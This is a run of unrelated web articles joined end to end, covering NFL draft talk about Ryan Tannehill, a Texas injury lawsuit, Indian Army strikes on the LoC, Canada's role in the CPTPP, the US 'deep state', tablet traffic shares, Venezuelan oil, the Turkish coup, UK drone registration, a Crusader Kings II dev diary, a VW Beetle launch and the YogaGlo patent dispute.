AdvertisementsBaring a trade into the top of April's draft, it's highly unlikely the Miami Dolphins will be in position to select either of the consensus top two quarterbacks available -- Stanford's Andrew Luck or Baylor's Robert Griffin III.
With Matt Moore ending the season as the starter, Chad Henne a free agent and a top-10 pick in the 2012 NFL Draft, the Dolphins have decisions to make.
Brooks: QB prospect rankings Andrew Luck and Robert Griffin III are the top two QBs in the draft. Who's No. 3? Bucky Brooks ranks the top five.
Andrew Luck and Robert Griffin III are the top two QBs in the draft. Who's No. 3?ranks the top five. More...
Many anticipate Miami will make a run at Matt Flynn in free agency, given his relationship with former Packers coordinator and new Dolphins head coach Joe Philbin. But given new offensive coordinator Mike Sherman's high opinion of another quarterback in the draft -- Texas A&M's Ryan Tannehill -- perhaps the team might be looking to draft a signal-caller in the first round, after all.
"Like all good quarterbacks he had great poise. Very confident in any system, west coast or not," Sherman told the South Florida Sun-Sentinel about Tannehill, who threw for 3,744 yards with 29 touchdowns and 15 interceptions during his senior season. "Any quarterback has to be confident in his own skin and believe in himself. They always say a great quarterback makes those around him better. I thought (Brett) Favre did that. I think Aaron Rodgers does that. I think Tannehill does that as well."
It's natural that Sherman would tout Tannehill's abilities. Sherman coached Tannehill at Texas A&M during the quarterback's transition from wide receiver, where he caught 112 passes for 1,596 yards and 10 touchdowns before changing positions during his junior season.
Tannehill is now rated by many draft experts as the third best quarterback in the draft. NFL Network draft analyst Mike Mayock listed Tannehill at No. 3 in his pre-combine quarterback rankings.The Supreme Court of Texas refused for a second time to hear the case of tragic accident victim Michelle Gaines on Friday.
Without any explanation, the high court denied her attorneys' request for reconsideration.
Gaines, of Palestine, suffered a traumatic brain injury at age 19 on June 11, 2006, when an 18-wheeler hauling an oil rig careened through a red light and crashed into her 2000 Buick.
Four years later, a jury awarded Gaines more than $8 million in damages. The truck’s driver, its owner and another businessman involved with the oil rig were held liable. Court documents show the truck lacked working brakes and a jury agreed with Gaines' attorneys that there was an attempt to cover up what happened.
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The state’s 12th Court of Appeals overturned the verdict last year, ruling there was not enough proof that the businessman, Joseph Pritchett — the only defendant with the money to pay the damages — was liable in the accident.
Pritchett's lawyers have said that he had no role in the accident and that he vehemently disagrees with implications of a cover-up.
Gaines' attorneys appealed, and the case made its way to the Texas Supreme Court for the first time this summer. When the justices refused to hear it, Gaines' attorneys filed the motion to reconsider.
Gaines spent weeks after the wreck recovering from a broken pelvis and punctured lung, but she continues to suffer from the effects of the head injury. Her father, Mike Gaines, has said his daughter has the maturity of a 12-year-old.
Scott Clearman, Gaines' attorney, said the Supreme Court's refusal to hear the case likely means the end of the legal battle and that she will eventually be confined to a state facility when her father is no longer able to care for her.
Texas Tribune donors or members may be quoted or mentioned in our stories, or may be the subject of them. For a complete list of contributors, click here.The most recent targeted strikes were carried out by the Indian Army on more than four Pakistani posts right on the Line of Control (LoC) in the Nowshera sector in Jammu region when troops stationed inside these posts were trying to provide cover fire to militants trying to sneak into Jammu and Kashmir from Pakistan occupied Kashmir (PoK).
Indian Army spokesperson Major General Ashok Narula said Pakistan Army has been supporting armed infiltration in Jammu and Kashmir and targeted attacks have been carried out to put an end to such activities.
Narula told reporters in New Delhi that it was a “proactive counter-terrorism operations” in order to maintain peace and stability in the region, and stop the youth of Jammu and Kashmir from being getting influenced by the militants coming in from across the border.
"Pakistan army has been providing support to armed infiltrators by engaging forward troops... closer to the LoC. At times, they have not even hesitated to target villages," Narula said. "It is essential to bring down the number of incidents in Jammu and Kashmir so that the youth are not influenced," he added.
Although, it has been normal for troops of both the countries to trade fire, for years, the admission by the Indian Army that it targeted posts could escalate the tensions along the 740-km-long LoC, which has witnessed major tensions following the beheading of two soldiers allegedly by Pakistan Army's Border Action Team (BAT) on 1 May.
"The shelling from the Pakistani side started in Ans Bhandaar area of Nowshera sector in Rajouri district, which led to the displacement of 2,313 people (583 families) from 11 villages along the LoC area,” Shahid Choudhary, Deputy Commissioner, Rajouri, told Firstpost. "All the people were provided shelter and accommodation in safer areas," he added
The Indian Army has for years admitted the number of causalities it suffered along the LoC and the working International Border in Jammu. But rarely admitted openly of carrying out targeted strikes along the LoC, which is likely to escalate the tension between the two neighbouring countries to a new height.
On Monday, Firstpost had reported that security forces were expecting more encounters and gun fights in the Valley as militants, waiting across the LoC, gear up for the snow to melt so that they can infiltrate India.
The Indian Army has strengthened technical intelligence gathering infrastructure to track the movement of the militants and stop them from entering the Valley. It has, so far, yielded tremendous results and helped the forces keep a tab on the militants waiting at launching pads across the LoC in the Kashmir region.
Of the 371 attempts made by the militants to infiltrate the Valley in 2016, only 119 were successful. The numbers have drastically gone down this year, with not even two-dozen militants attempting infiltration in the first four months.
Narula said that the posts, which were aiding infiltration of militants, were identified and destroyed. "Infiltrations are likely to increase with the melting of snow and the opening of passes," he added.
With temperatures expected to rise in Kashmir in coming days, there is going to be even more heat at the borders as Pakistan pushes more militants into the already simmering Valley.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.With The US Out, Canada Gets Copyright Out Of TPP And Moves Closer To Agreement
from the but-we-thought-it-couldn't-be-done... dept
We've been talking about the Trans Pacific Partnership (TPP) agreement for many, many years. And one point that we've made over and over again about the TPP and other trade agreements, is that there actually is a lot of good and important stuff in those agreements, and we don't understand why the US (mainly) keeps insisting on two issues that don't belong in these agreements at all: (1) "intellectual property" chapters, which are almost always the opposite of "free trade" in that they focus on ratcheting up government protectionism and monopolies for a few specific industries and (2) a section on what we refer to as corporate sovereignty, which which the trade world calls "investor state dispute settlement" or "ISDS." That's where companies can demand an private tribunal judge if a country unfairly treated that company poorly and order the country to pay the company millions or sometimes billions of dollars.
Of course, the US has been a major driver of both of those provisions -- but over and over again we were told that these kinds of agreements were "impossible" without an intellectual property chapter and corporate sovereignty. Turns out, once you get the US out of the way, things aren't so impossible. Just a couple weeks ago, we noted that many countries around the world (including the new USTR, Robert Lighthizer) appear to be souring on corporate sovereignty provisions, but the really big news is the TPP.
Right after Donald Trump became President, the US officially dropped out of the TPP negotiations, leading many to believe that the entire process was dead. Instead, the other countries have continued to negotiate, and on Friday agreed in principle on key aspects of a deal, for the newly renamed Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP)
One of the stumbling blocks, on which Canada allegedly played hardball, was removing much of the intellectual property chapter (including basically all of the really bad stuff). As Michael Geist notes:
The Liberal government demonstrated genuine leadership in demanding significant changes to the flawed TPP intellectual property chapter and refusing to back down under intense pressure from some of the negotiating parties. The result isn’t perfect, but the newly named Comprehensive and Progressive Agreement for the Trans Pacific Partnership (CPTPP), which still requires considerable negotiation, features a significantly improved IP chapter that suspends some of the most problematic provisions. Weeks after the release of the TPP text in 2015, I wrote a lengthy series on the Trouble with the TPP. Many of the most problematic provisions, including copyright term extension, digital lock rules, and intermediary liability have been suspended from the CPTPP at the insistence of the Canadian delegation. Their removal is a remarkable victory for those that argued against overbroad, restrictive copyright provisions in the TPP and maintained that there was no reason to include unbalanced copyright provisins in a modern trade agreement.
The new version also appears to remove some of the corporate sovereignty/ISDS provisions.
There's still a lot of work to be done on the agreement, but it certainly appears that Canada has taken the lead with the US out of commission. This is particularly amusing, as Canada was a late entrant into the TPP negotiations, and part of that involved the US demanding that Canada accept the text as it was and not reopen negotiations on key points already agreed upon. And now, the end result is that the US has withdrawn and Canada led the way in ditching some of the key provisions the US had demanded.
And, again, the current deal still has some serious problems. For one, it notes that it's possible that the worrisome intellectual property provisions could re-emerge, zombie-like, at a later date. It also notes that there's still enough of the corporate sovereignty provision to be worried about (and same with telecommunications services provisions). But, on the whole, it appears that the new CPTPP is moving in a much, much better direction, in large part by dumping the intellectual property elements.
Meanwhile, later this week, NAFTA renegotiations will be taking place and intellectual property issues are on the agenda. Perhaps Canada can do the same thing it did with the TPP and convince everyone else to take that issue off the table entirely.
Filed Under: canada, copyright, corporate sovereignty, cptpp, ip chapter, isds, patents, tppThe Trump administration has realized that even so much as discussing the things it said it would do during the campaign is enough to arouse considerable opposition, including from the state bureaucracy. When the prospect of a Trump presidency was still a thought experiment, I wrote here in The Atlantic about an American “deep state” working from within against a hypothetical President Trump:
It is possible, however, to imagine a president so reckless as to activate state institutions against him or her, in a way that makes the notion of an American deep state more meaningful and relevant. … One can also easily imagine left-of-center (and right-of-center) civil servants in the Departments of State and Defense working against the president from within to mitigate his effectiveness and even his authority.
I was torn then. I’m even more torn today, considering that it’s no longer merely an academic argument. It is a challenging thing to find your beliefs in conflict with your political preferences: I like that America’s “deep state” is opposing people I think are dangerous. But I also know that this, in principle, isn't very democratic. With the rise of “illiberal democracy” throughout the Western world, it raises a question without an answer: How far can a freely elected, and therefore democratically legitimate, president pursue illiberal policy positions, especially when it comes to issues that aren’t clear-cut?
The American “deep state” is, of course, not like Egypt or Turkey’s deep states—which are characterized by a shadowy constellation of autonomous and self-perpetuating institutional networks, namely in the military and security services. Egypt’s deep state, which undermined and then overthrew a democratically elected Muslim Brotherhood president in 2013, was thoroughly undemocratic, where state institutions in the U.S. are inculcated in democratic norms (as one would expect in any long-established democracy). This fundamental distinction is what Trump and chief adviser Stephen Bannon’s “deep state” analogies fail to acknowledge. Still, the concept of a deep state is useful in thinking about how unelected, and at least partly unaccountable, leaders and institutions confront democratically elected ones, particularly when the latter are seen as a threat to the identity and ideology of the state. As the political theorist Faheem Hussain notes: “Latent in every democracy [is] the permanent bureaucracy[’s] capacity to subvert the elected administration, by virtue of permanence and knowledge.”
If I was a Trump voter, I can imagine being frustrated at this sort-of-deep state working to block or undermine Trump’s agenda. I’d say: Well, I voted for that agenda, and not necessarily some vapid, unthreatening version of it. Presumably, if Bernie Sanders, or someone like him, had won the presidency and decided to radically re-orient U.S. foreign policy, there would be elements within the military and intelligence services that would attempt to “block” him. For these state institutions, it wouldn’t only be a matter of democratic legitimacy but also of something as fundamental as national security. Does that mean that presidents, regardless of what a plurality of voters might want, simply cannot act radically when it comes to foreign affairs or national identity? To what extent are Americans comfortable with that—and are we willing to apply whatever standard we come up with consistently?Since Chitika Insights’ last study on the tablet market, Apple iPad users’ share of U.S. and Canadian tablet Web traffic has increased by nearly two percentage points, from 82.4% in May 2013, to 84.3% in June 2013 – now the iPad’s highest share since the beginning of 2013. This marks the second consecutive month of iPad usage share gains.
Since Chitika Insights’ last study on the tablet market, Apple iPad users’ share of U.S. and Canadian tablet Web traffic has increased by nearly two percentage points, from 82.4% in May 2013, to 84.3% in June 2013 – now the iPad’s highest share since the beginning of 2013. This marks the second consecutive month of iPad usage share gains. Amazon’s Kindle Fire and Samsung’s Galaxy Tablet families remain in second and third place, respectively.
To determine the distribution of Web usage among tablet devices for the month of June 2013, Chitika Insights sampled tens of millions of U.S. and Canadian tablet online ad impressions running through the Chitika Ad Network. The data used within the most recent analysis was drawn across the time frame of June 15 to June 21, 2013, and data for previous months was collected from Chitika Insights’ April and May tablet market share reports, respectively.
While there are a number of players in the tablet marketplace, Apple clearly dominates the market, further evidenced by analyst shipment estimates. As seen in the graph above, the iPad’s usage share advantage over its closest competitors is now nearly 80%. Most other players in the market exhibited month-over-month declines, with one notable exception being Barnes & Noble’s Nook. The Web traffic share generated by Nook users grew by 37% over what was observed in May 2013. The increase may be due to the device family’s significant price drop beginning in mid-June. Google Nexus’ month-to-month decline in Web usage may be due to some issues users have been experiencing with older Nexus 7 models, along with increasing interest in the expected release of a new Nexus tablet. Prices and a July 31 release date for that upcoming model leaked earlier this month, and a successful launch could change the dynamics of the domestic tablet landscape.
Share this: TweetVenezuela has decided it needs to pump more oil. It has a simple problem. The nation’s income has cascaded as oil prices have fallen from more than $140 last summer to under $40 now. What it cannot get in price, the South American nation needs to make up in volume.
The viability of the Chavez government may hinge on its ability to keep the cash rolling in to cover the costs of social programs and the building and repair of the nation’s infrastructure.
According to Bloomberg, “Venezuela plans to boost oil output at least 12 percent in a joint venture with foreign investors that will cost more than twice what the government previously estimated.” In other words, if the country does not have a full Treasury because it does not have oil revenue, then borrowing to get capital to produce more oil comes at a high price. Who wants to risk lending to a country that cannot pay its bills?
Venezuela is beginning to look like a large number of other large oil exporting countries, both inside and outside OPEC. Canada is being driven into a deep recession because of the falling price of its plentiful crude. The problem is more acute in Russia. Iran has indicated that it cannot fund its budget without oil above $70. Banking systems in some of the large Arab countries are seeking government assistance as their access to capital drops.
The problem is now nearly unsolvable, and it greatly benefits oil consumers. The dilemma is simple. As crude prices fall, the only way that Venezuela can bring in more capital is by raising exports. That floods the market with more supply, taking down prices even further.
Based on that trend, which is not likely to go away, crude is headed under $30.
Douglas A. McIntyreIf the United States was aware that some in the military were planning to overthrow President Recep Tayyip Erdogan, they did not alert Turkish authorities because Washington wanted the coup to succeed, expert on strategic studies at the LUISS Guido Carli University Germano Dottori told RIA Novosti.
"The main question is not who was behind the coup in Turkey or whether Fethullah Gülen, who lives in the US, was linked to it. What we need to understand is why the US did not prevent the coup from taking place if they were aware that some in the military were [planning to overthrow Erdogan]? I think that the Americans did not interfere because they hoped that the coup would be successful," he said.
© REUTERS / Murad Sezer Failed Coup in Turkey Will 'Weaken' NATO in the Middle East
On July 16, a group of mid-level military officers tried to oust Erdogan, but failed. The Turkish president and his supporters have blamed influential Islamic preacher Fethullah Gülen for the coup, urging the US to extradite Erdogan's archenemy, who has lived in Pennsylvania since 1999.
Dottori maintained that Washington's reaction to the coup serves as a proof that the Obama administration wanted the uprising to succeed.
"The Americans were silent up until the moment when State Secretary John Kerry called for 'continuity within Turkey.' In other words, they were counting on the coup to be successful. Only four hours later Obama backed democratically elected authorities. Later [NATO Secretary-General] Jens Stoltenberg expressed similar sentiments on behalf of the alliance," the analyst said.
© Sputnik / Alexei Druzhinin Rollercoaster Relations Between Turkey, Russia Taking on Curious Forms
Dottori suggested that Turkey's recent foreign policy U-turn could serve as the main reason why Washington wanted to see new faces in power.
"I think that it happened primarily because the Americans were not happy about Turkey mending ties with Russia. To me, it is the only event that could have sparked concern in the Obama administration," he noted.
Relations between Moscow and Ankara went into deep freeze after Turkey shot down a Russian bomber out of Syrian skies on November 24, 2015. They were recently restored after Erdogan apologized to President Vladimir Putin for the incident.Anyone who buys a drone in the UK may have to register it and take a safety test under new measures to prevent potential collisions with passenger jets.
Measures proposed by ministers also include criminal liability for anyone who flies a drone in “no-fly zones” surrounding airports and prisons, and an increase in fines, which currently cannot exceed £2,500.
Ministers also want to make drones electronically identifiable on the ground, in order to make it easier for police to track devices to their owners.
The government wants the drone industry – estimated to be worth £102bn by 2025 – to grow safely and with public consent.
While there are already strict rules for drone users, the unmanned aerial vehicles, which can operate under remote control or autonomously by onboard computers, have become increasingly widespread, and are cheaply available in high street shops and online.
Their popularity has led to a spike in the number of near-misses with passenger jets, with aviation chiefs receiving reports of 56 near-miss incidents in the 10 months to October – up from 29 in all of the previous year and six in 2014.
Fears that drones could cause a major air accident were reignited after two near-misses this month. In the first incident, investigators said a drone about 2ft (60cm) wide had just missed the right wing of a Boeing 767 coming in to land at Manchester airport. In the second, a drone the size of a football came within 20 metres of an Airbus A320 as it circled above London on its way to Heathrow.
The aviation minister, Lord Ahmad, said drones had enormous economic potential and were already being used by emergency services, transport and energy providers and conservation groups to improve services, respond to incidents and save lives.
He added, however, that while the vast majority of drone users were law-abiding and had good intentions, “some operators are not aware of the rules or choose to break them, putting public safety, privacy and security at risk”.
Current regulations by the Civil Aviation Authority require drones to be kept in line of sight and flown no higher than 120 metres. They also forbid any drone with a camera from flying within 50 metres of buildings, vehicles, people or over large crowds, and anyone using a drone for commercial purposes has to register it with the CAA. But the new plans would mean casual users would also have to register their drones – if they weigh over 250g – and take a test similar to the driving theory test.
Tim Johnson, the policy director at the CAA, said: “Our priority is the safe operation of drones and we cannot underestimate the importance of understanding how to use drones safely and responsibly. Drones have significant potential to drive benefits across a range of sectors from farming to emergency response, healthcare to logistics. We encourage anyone with an interest in this area to respond to the government’s consultation.”
Steve Landells, flight safety specialist at the British Airline Pilots Association (Balpa), said: “We need to understand more about the threat drones pose, and Balpa is working with the government and regulators to ensure this is an issue that’s being taken seriously in the corridors of power.
“Drones are here to stay and, as this technology develops and becomes more important in the aviation world, it is vital they are integrated into the airspace in a safe and sensible manner.
“Pilots are concerned about the growing number of near-misses and the potential for catastrophe should a collision occur.
“At the same time, Balpa believes drone operators, especially hobbyists, need to be made aware of the potential dangers of irresponsible flying. We support the Department for Transport in pressing for better education, compulsory registration and high-profile prosecution for careless operators.”The Base Game
The “Story Engine”
Character Personalities
Character Opinions
The Lust for Land (Claims, Pretenders, etc.) The limited resources everyone fights over.
(Claims, Pretenders, etc.) The limited resources everyone fights over. Different gameplay systems allowing characters to act in accordance with their personality (murder, warfare, marriage planning, etc.)
Post Release Development
Favorite Features
Vikings! (The Old Gods): Playing as an aggressive raider in the new 867 bookmark created a whole new playstyle and greatly increased the replayability of the game. The other pagans were also fun, but the Norse did receive the coolest mechanics.
(The Old Gods): Playing as an aggressive raider in the new 867 bookmark created a whole new playstyle and greatly increased the replayability of the game. The other pagans were also fun, but the Norse did receive the coolest mechanics. Zoroastrians (The Old Gods): The Zoroastrians were made playable almost as an afterthought, but the “Zoroastrian Restoration” has become one of my personal favorite campaigns.
(The Old Gods): The Zoroastrians were made playable almost as an afterthought, but the “Zoroastrian Restoration” has become one of my personal favorite campaigns. Adventurers (The Old Gods): This is another feature from “The Old Gods” that I am really pleased with (that expansion was really good!) Successful adventurers often give rise to the most interesting little stories in the wider world (they are not as fun when they mess up your own plans though!)
(The Old Gods): This is another feature from “The Old Gods” that I am really pleased with (that expansion was really good!) Successful adventurers often give rise to the most interesting little stories in the wider world (they are not as fun when they mess up your own plans though!) Lifestyle Focuses (Way of Life): The main point of this feature was to give players some agency over the personality and skills of their character past childhood. It was also intended to deepen the role-playing aspects of the game. I think it succeeded on both counts, although our rushed schedule did not permit us to fully flesh out and properly balance the focuses (things we have since corrected.)
Game Rules (The Reaper’s Due): This many expansions in, it was about time to add some rule customization to the game (that don’t require modding.) The outrage about certain features introduced in the Conclave patch tipped the scale. View attachment 240950
(The Reaper’s Due): This many expansions in, it was about time to add some rule customization to the game (that don’t require modding.) The outrage about certain features introduced in the Conclave patch tipped the scale. View attachment 240950 Diseases and Portrait Effects (The Reaper’s Due): I love the more specific ailments, maimings (and death sounds!) we added with this expansion. We might have overdone the “event spam” from Seclusion and the Court Physician a bit, but in general these things added much flavor.
(The Reaper’s Due): I love the more specific ailments, maimings (and death sounds!) we added with this expansion. We might have overdone the “event spam” from Seclusion and the Court Physician a bit, but in general these things added much flavor. Devil Worshippers (Monks and Mystics): Ok, so this Society is largely in fantasy land, but I really enjoy the powers and perks, such as Abduction...
Problematic Features
The EU4 Converter : Enough people seem to appreciate this tool to make it almost worthwhile, but it’s a nightmare to maintain. Personally I also question how fun it actually is to use after 700 years of blobbing in CK2...
: Enough people seem to appreciate this tool to make it almost worthwhile, but it’s a nightmare to maintain. Personally I also question how fun it actually is to use after 700 years of blobbing in CK2... The Chronicle (Charlemagne): The Chronicle looked like a nice feature on paper, but as it turns out, barely anyone uses it.
(Charlemagne): The Chronicle looked like a nice feature on paper, but as it turns out, barely anyone uses it. View attachment 240952
Nomads (Horse Lords): While Nomads are now fun to play - after much patching - the feature was not worth all the effort we put into it. The Holdings and the Feudal hierarchy were so ingrained in the game mechanics that we simply bit off more than we could chew. (I should have realized this, because Merchant Republics had already posed a similar, if less severe, problem.)
Defensive Pacts (Conclave): Probably the most hated feature we ever added. It was well intentioned (making the late game more challenging), but apart from being somewhat ahistorical, it also messes with a fundamental truth: blobbing is fun. These days, I find myself turning this off in the Game Rules. That said, some people do enjoy the extra limitation.
Roads not Traveled
The De Jure & De Facto System
Investiture and a Pope of your own
Hi everyone!Today is a special occasion, because today is not just Valentine’s Day - it’s also the five-year anniversary of; which means that I’ve been working on it for seven years. This feels almost unbelievable to me, but time is ephemeral... You'd expect developers to get sick of a game they've worked on for so long, but I still play the game for fun in my spare time almost every week. The last five years have seen Paradox go from a small niche company to a fairly major player in the industry, and CK2 has played a significant part in that growth. In this anniversary dev diary, my old compadre and co-designer of CK2and I will treat you to a short “post mortem” of sorts; what went well and what didn’t, regrets and points of pride...I was absolutely thrilled when I got the chance to head up the project back in 2010. There was so much untapped potential in the first game, and I had a pretty clear idea of what I wanted to accomplish. However, when I look at the original design document today I can only shake my head - nowhere does it explicitly state the importance of emergent gameplay from the complex interactions of many simple systems, but I remember hoping that stories would emerge from the interactions of all the characters in the game based solely on a few key mechanics:Chris and I also felt that a clear focus on rulers rather than nations did not warrant a bunch of holdovers fromthat were present in the original CK. Things like Stability and Infamy were discarded or baked into the simple Opinion system, deemphasizing Realpolitik and popular causes. This all turned out very well I think - playing the game did give rise to all kinds of amusing and interesting little stories and anecdotes. In addition, the game certainly looked far better than anything we had released up to that point. Lastly,was also remarkably polished and bug free on release. (Paradox had a bit of a nasty reputation for releasing buggy products - which we absolutely wanted to wash away.) The game slowly turned into a massive hit for the studio (initial sales were mediocre, but it just kept on going as awareness of the game spread.)While the game was great on release, it does show its age when you look at it today. The production values are way below, for example,, and it also very intimidating in an oldschool Paradox way (another area whereleads the way.) You could also say that it’s not as well balanced as, say,, nor as well paced in multiplayer - and you’d be right. In hindsight, we should have done a bit more to improve the balance and the MP experience. However, the game was never intended to be used for eSports, and a perfectly fair and well balanced game is probably not as conducive to the kind of surprising and dramatic twists and turns that givesits unique charm.The opportunity to keep working on the game long after release has allowed us to correct an enormous amount of flaws, as well as to both broaden and deepen many aspects of the game. Muslims, Pagans, Zoroastrians, Jews and Merchant Republics all became playable, and of course the whole of India, with its three major religions, was also added. When developing the (soon) 13 expansions to the game, we, as designers, have not really made much of a distinction between the free features and the paid ones, but simply tried to improve the game in almost every conceivable way. We sure have learned a lot of lessons along the way... Here are some highlights:With these reflections, I’ll hand the pen over toI thought I would take a look back at some of those early design ideas that we felt held a lot of promise but as we expanded the game we decided to downgrade. Those ideas that in an alternative history of CK2 development would have become the centerpieces of expansions.When we built CK2 we had high ambitions of the game, and developed features that were going to help capture the joys and challenges of being a medieval ruler. Some of those features didn’t go the distance and have really fallen by the wayside. So I thought I would spend some time talking about this ideas and quietly contemplating their tragic demise.Or as we like to call it the Normandy problem. The problem of having two lieges, or being both independent and having a liege. In CK2 you only ever have one liege and you are either independent or you are not. This very binary solution makes a lot of sense as we are making a computer game and the one thing computers do very well is binary. Still it does not capture the whole grand sweep of feudal life. We had high ambitions of this idea that you may be independent but legally you have provinces that are part of someone else realm, or if you are Duke of Flanders part of your realm is in France and other parts are in the HRE. Sadly the whole levy system meant it never really delivered and changes were made that basically killed it. SAD! At some point I would love to revisit this problem and come up with a solution that will survive changes to the levy system. Still take a moment to mourn the sad loss of the levies.One of the great feudal battles of the period was who got the men and the money from church land. We hoped to create a system where your relationship with the Pope and the church would be important and full of interesting choices. Again it was a feature that never really panned out the way we wanted it. It was one of those things that was filled with subtle nuances that made it difficult to truly capture in a nice clean game mechanics. It was with hindsight it should of been all or nothing, either a big feature or we should have left it....and back to me...We look forward to reading your thoughts and comments on this dev diary! Also stay tuned for a CK2 dev diary in a couple of weeks, when I plan to present the results of the survey we did a while back where you got to rate the various features we’ve added over the years…Oh, and Happy Valentine's Day!The updated Volkswagen Beetle can zoom from 0-100km/h in just 8.4 seconds.
German car maker Volkswagen have started taking bookings for the latest version of its iconic model 'Beetle' in India from November 17.
Prospective customers can now book the '21st Century Beetle' through select Volkswagen showrooms across the country or via online, Volkswagen India said in a statement.
"Beetle is an icon of automotive history and its launch in the latest avatar is a moment of celebration for Volkswagen in India," Volkswagen Passenger Cars India, Director, Michael Mayer, Director said.
"The combination of performance, design, equipment and exclusive availability will ensure that the 21st century Beetle is all set to write its next historic chapter in India," Mayer said.
What we know of the '21st Century Beetle':
Engine:
The updated Volkswagen Beetle will come powered with a 1.4-litre TSI petrol engine which will churn out a maximum power output of 158bhp and maximum torque of 250Nm, mated to a seven-speed DSG gear box.
Moreover, the updated Volkswagen Beetle can zoom from 0-100km/h in just 8.4 seconds, say reports.
Design:
Although, much is not known about the design of the updated Volkswagen Beetle, we expect the new hatchback to come with redesigned interiors and will come with ample space for a family of 5.
Features:
The '21st Century Beetle' will come with features like 6-airbags, ESP & ABS as standard equipment. Further, it is endowed with features like panoramic sunroof, bi-xenon headlamps, leather interiors and chrome packages for interior & exterior.
Competition:
The updated Volkswagen Beetle will compete against the likes of Fiat Abarth Punto, MINI Cooper S, Mercedes A-Class and BMW 1-Series.
Price:
We expect the updated Volkswagen Beetle to come with a price tag of Rs 25 lakh - Rs 35 lakh (ex showroom Delhi).Canadian Power Rankings: April 1st, |
applications relating to the same or related inventions—is common at the PTO. What was not common, however, was that the original '621 Application was literally identical to the original '569 Application: Mills sought to claim the exact same thing through both the '569 and '621 Applications. (It is unclear why Mills filed two applications with exactly the same claims. One possibility is that Mills felt his chances with the second examiner were better than the first.)
Often, similar or related applications are assigned to the same examiner. But Mills' applications were given to two different examiners for review (we're not sure why). The '569 Application was assigned to Examiner Nhon T. Diep and the '621 Application was Examiner Mohammad J. Rahman.
Both the '569 Application and the '621 Application were initially rejected. Diep initially rejected the '569 Application on July 3, 2013, on two grounds: double patenting (can't get two patents on the same thing) and obviousness (the "invention" was not different enough from what came before). In making the obviousness rejection, Examiner Diep relied exclusively on patents or patent applications. Shortly after that, on August 5, 2013, Rahman (faced with the exact same claims that had just been rejected) rejected the '621 Application for the same reasons.
But from there, the two applications and their histories at the PTO diverge.
"YogaGlo intends to enforce its intellectual property rights"
On August 26, 2013, despite having both its patent applications initially rejected on multiple grounds, YogaGlo sent demand letters to its competitors, including Yoga International. In the letter, YogaGlo (through its lawyers) pointed to its patent applications and stated its belief that Yoga International "streams online fitness classes that mimics [sic] the method and technique of YogaGlo's U.S. patent application." Although YogaGlo did not explicitly demand that Yoga International remove the videos it believed infringed YogaGlo's not-yet-existing rights, it warned that the letter "shall serve as actual notice of the existence of the YogaGlo Patent Applications" and "upon patent issuance, damages may be due retroactively to the date of patent publication."
Yoga International, concerned by the idea that a company could get a patent on filming a yoga class, decided to fight back. It told the yoga community about the letter and the yoga community went into uproar. Yoga Alliance, another Yoga organization, started a petition asking YogaGlo to withdraw its patent applications and received over 14,000 signatures.
YogaGlo responded with its own interpretation of the situation, saying that it filed for the patents "in order to continue to provide our community with this distinctive online yoga class experience at an affordable price." In effect, YogaGlo's argument appeared to be that without patent protection, it would cease to exist.
Except that for at least the first few years of YogaGlo's existence, this wasn't true. YogaGlo, it seemed, had been flourishing for many years without the patent protection it now felt it needed.
Patent Protection Not Required Nor Deserved
Patents are only supposed to be granted on what is novel and nonobvious. The Patent Office, in initially rejecting YogaGlo's patents, relied on other patents and patent applications. But filming a yoga class didn't seem to us like something that should (or would) be in a patent or patent application. Filming methods just aren't something that are traditionally patented (nor should they be).
Instead, it seemed to us that prior art for systems and methods for filming would most likely be found in actual films. So in order to help understand just how "novel" YogaGlo's invention was, we did an Internet search for other, similar "systems" and "methods." Below is a collection of just some of the videos we found, all uploaded or filmed before YogaGlo filed its patent application:
Based on our search, it seems like YogaGlo's patent should never have issued. But even more interesting is that last screen shot. Its similarity to Figure 2 of YogaGlo's patent applications is not surprising, because it is from YogaGlo's own website—and it's dated July 28, 2009.
This is a problem for YogaGlo. Even if something is novel and nonobvious, a patent should not be granted if the application is filed more than one year after the "invention" is made, used, or sold. This is commonly referred to as the "one-year statutory bar." Basically, you can't patent something once the public has known about it for over a year. The public policy rationale is that patents are meant, in part, to get inventors to disclose their inventions to the public. If the invention has already been disclosed, the applicant didn't need the patent "carrot".
The one-year statutory bar is well known by patent practitioners and is often used to invalidate a patent or prevent one from issuing. One organization, after receiving YogaGlo's letter, found YogaGlo's invalidating videos and recognized their importance. After receiving YogaGlo's letter, and before any patent issued, that organization sent YogaGlo's lawyers a letter and pointed to the videos as prior art,.
And Yoga International wasn't the only ones who noticed that YogaGlo shouldn't be able to get a patent. A comment on YogaGlo's own website on the post about YogaGlo's patent applications, dated before any patent issued, also highlighted the videos:
That link at the end? That's to the "Manual of Patent Examining Procedure" and the section on the one-year statutory bar.
Back at the Patent Office
Because YogaGlo filed its original patent application (the one to which both its applications claimed priority to) on August 27, 2010, more than one year after it had posted videos using its "invention," no patent should have been allowed. The one-year statutory bar prohibits it.
But if the PTO doesn't know about prior art, it can't use it to reject an application. This is why the patent office relies on patent prosecutors (the people who file applications on behalf of inventors) to bring to light prior art known to the applicant. The PTO itself will do a search, but it's expected that prosecutors will point out art too. Indeed, they have a duty to do so.
In prosecuting the two applications, Mills and YogaGlo were represented by patent prosecutor working at the same office as the lawyer who sent Yoga International and others the letter about YogaGlo's patent applications. This is also the same the law firm office that received the responses, including its mention of YogaGlo's own invalidating videos. But despite the duty of disclosure, neither Mills, YogaGlo's lawyers, nor anyone else associated with YogaGlo notified the PTO about YogaGlo's own videos that implicated the one-year statutory bar.
At this point, its important to note is that the '569 Application was filed under what's called the "Accelerated Examination Program." This program allows applicants to get their applications reviewed more quickly if they can meet certain requirements, including making a statement regarding the "most closely related" prior art and how the "invention" is different than what came before. (Normally a hopeful patentee isn't required to particularly point this art out. It's enough to merely list it on a form). YogaGlo identified and discussed some prior art, but it failed to bring up the most damning examples: its own videos.
So on October 7, 2013, when it came time to address the examiner's initial rejection, YogaGlo did not identify its own videos and correct the failure to identify them at the outset. Instead, it filed an "amendment" and "request for reconsideration" of its '569 Application. YogaGlo modified its claims slightly, and argued that the claims were now patentable. The reason? The prior art, according to YogaGlo, didn't disclose "a line of sight corridor." In plain English: YogaGlo argued that when filming a teacher from eye level at the back of the room, it wasn't known or obvious to keep students from blocking the camera's view of the teacher (yes, really).
